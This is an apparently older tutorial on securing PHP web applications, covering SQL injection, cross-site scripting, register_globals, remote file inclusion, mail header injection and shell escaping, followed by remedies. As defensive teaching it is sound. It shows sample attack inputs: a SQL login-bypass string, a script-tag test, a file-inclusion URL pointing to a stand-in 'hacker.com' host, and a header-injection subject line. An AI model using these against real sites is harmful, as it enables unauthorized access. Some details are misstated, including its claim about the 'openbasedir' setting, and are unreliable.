Implementing secure Web applications in PHP

Today, a plethora of applications are delivered via the World-Wide Web. The social networking boom leaves many people's personal information on the Web, making data security and integrity a primary concern. The data stored in these applications is increasingly often the target of hacking attempts, whatever their motivation. Therefore, secure programming techniques are crucial to protect sensitive data on the Web.

PHP is a popular programming language for delivering Web applications due to its simple deployment mechanism as an Apache module. Various safety measures implemented in the PHP platform have proven to be unsuccessfully at large and even potentially harmful if used incorrectly. This article aims at highlighting the issues, describing the pitfalls and how to safely bypass them.

Is PHP inherently insecure?

Well, no, at least the situation is not much different from many other programming languages. Excarbating the problem are:

So, what are the issues?

The most common flaws in Web application security are SQL injection and cross-site scripting (XSS).

SQL injection

Most PHP applications use a relational database such as MySQL for data storage. SQL injection occurs if user input is copied unchecked and unfiltered into a database query. If a malicious user enters SQL commands into the form fields instead of the intended data, unwanted database commands could be executed, bypassing checks and revealing or altering data in ways unintended by the application's creator.

A canonical example is the bypassing of a login passwort check if the application does not filter SQL special characters such as ', \, and &. When you hit the "login" button on a naive Web application a query like the following could be executed:

SELECT COUNT(*) FROM users WHERE username='$_REQUEST[username]' AND password='$_REQUEST[password]'

The login was unsuccessful if the query returns 0, signalling that no matching combination of username and password exists. Ignoring for the moment that passwords should always be stored encrypted the key ommission here is that the user's input is not checked for special characters. If a user enters "' OR ''='" as the password the query becomes:

SELECT COUNT(*) FROM users WHERE username='user' AND password='' OR ''=''

Since the last expression is always true we just logged in bypassing the password check!

Magic quotes to the rescue?

To counter this problem the PHP platform comes with a configuration option to turn on "magic quotes", which automatically escapes any character with a special meaning in SQL that was received in user input. The problem with that is two-fold:

  1. Not every data item is used in a database query, so in order to retrieve the original value you have to remove the magic quotes again. Furthermore, different escaping is needed for e.g. HTML output in order to prevent the next issue, cross-site scripting (see below)
  2. Depending on whether the option is turned on or off, the PHP code has to work differently, i.e. properly escaping and stripping the data received.

Cross-site scripting

With the rise of social networking and user generated content, more and more user-entered data is displayed to other users. Similar to how a user can send commands to a database via unchecked form fields, he could enter HTML and ultimately Javascript code that would be displayed and executed in another user's browser. The code has then access to e.g. a user's cookies, making it possible to send them elsewhere and thereby take over the user's sessions.

Typing the following in a from field that is echoed back to the user should not embed the script in the page and execute the code:

<script>alert(Hi!)</script>

Unregister globals!

Another bad habit of PHP is to automatically create global variables for all $_REQUEST[] parameters unless it is turned off. This enables overwriting variables with values passed in via the URL, the most obvious example being:
include "mydefinitions.inc.php";
include $file;
...

Let's assume $file is defined in the mydefinitions include file.

If you call the above script with the URL parameter http://server.com/some.php?file="hackerfunctions.php" PHP would actually include the hacker's functions! If another PHP configuration option, openbasedir is true, the file could even come from a different server such as http://server.com/some.php?file="http://hacker.com/hackerfunctions.php"!

SMTP hacks

An often overlooked area is handling data in Web applications' e-mail forms. Since the simple mail protocol (SMTP) like most Internet protocols is text-based with line-oriented headers, pasting a newline character into a form field can create a new header field with arbitrary data, such that:

Subject: Buy this!\nmailto:spam.receiver@innocent.domain

Would send this e-mail not only to the intended recipient but also to the one specified in the subject line! So escaping needs to be done separately and differently for the various subsystems that data ist handed to.

Shell escapes

With PHP coming with so many libraries for all sorts of programming tasks it is less frequently necessary to launch a command line shell to do things. One common exception is the use of ImageMagick for image manipulation. When calling out to the underlying operating systems, special shell characters have to be escaped accordingly. Complicating the matter is that different shells have different special characters that need to be taken care of.

Remedies

PHP applications can be made secure effectively by applying the following techniques:

Configure PHP correctly

Turn off magic_quotes in php.ini. To be safe, write your applications such that if the option is turned on you either bail out or undo it's effect by calling stripslashes() on the request variables.

Turn off register_globals and have your application bail out if it's on. No messing around!

Use a database access library

Libraries like ADODB or PEAR DB offer parsed statements that separate the SQL instruction from the variables using placeholders, and interpolate the variables applying proper escaping. Use this functionality.

Use a template engine

Similarly, template engines like Smarty, Flexy and the like separate the constant part of an HTML template from the dynamic sections and combine them in a safe way.

Use PHP Frameworks

Frameworks combine database access and templating with many other aspects of Web programming such as input validation, error handling and the like. Usually these frameworks take care of escaping parameters as well. A comprehensive list can be found here.

Handle third-party components with care

Third-party components solve many problems one encounters, for instance many mail classes are available as a replacement for PHP's mail() function that leaves escaping to the programmer. Make sure the code is safe to use, especially if there is no big developer community tracking the implementation.

Know PHP's escape* functions inside out

If you insist on rolling your own, peruse all the escaping functions in PHP by searching for "escape" in the function list on php.net. The odd one out is htmlspecialchars().Make sure to understand when they apply, and apply them when they do.

Always use .php extension for PHP files

If you use other file extensions such as .inc for include files make sure that the Web server does not deliver them in clear text to the client, making reverse-engineering easy. You can just as well use .inc.php and be on the safe side. An include file containing only function definitions renders an empty page when called directly, revealing no information. This is especially important if the application is open source or the filenames are known through other means.

Add a first line constant check to every PHP file

In order to prevent bypassing the defined entry points of an application a constant can be defined e.g. in the central controller that gets checked in the subsequently included files. This way a hacker trying to include application code into his own setups would need to know the constant's name to succeed. This is of course not too difficult for open source applications ;-)

About the Author

mclassen consults on various IT topics such as

in and around Munich, Germany.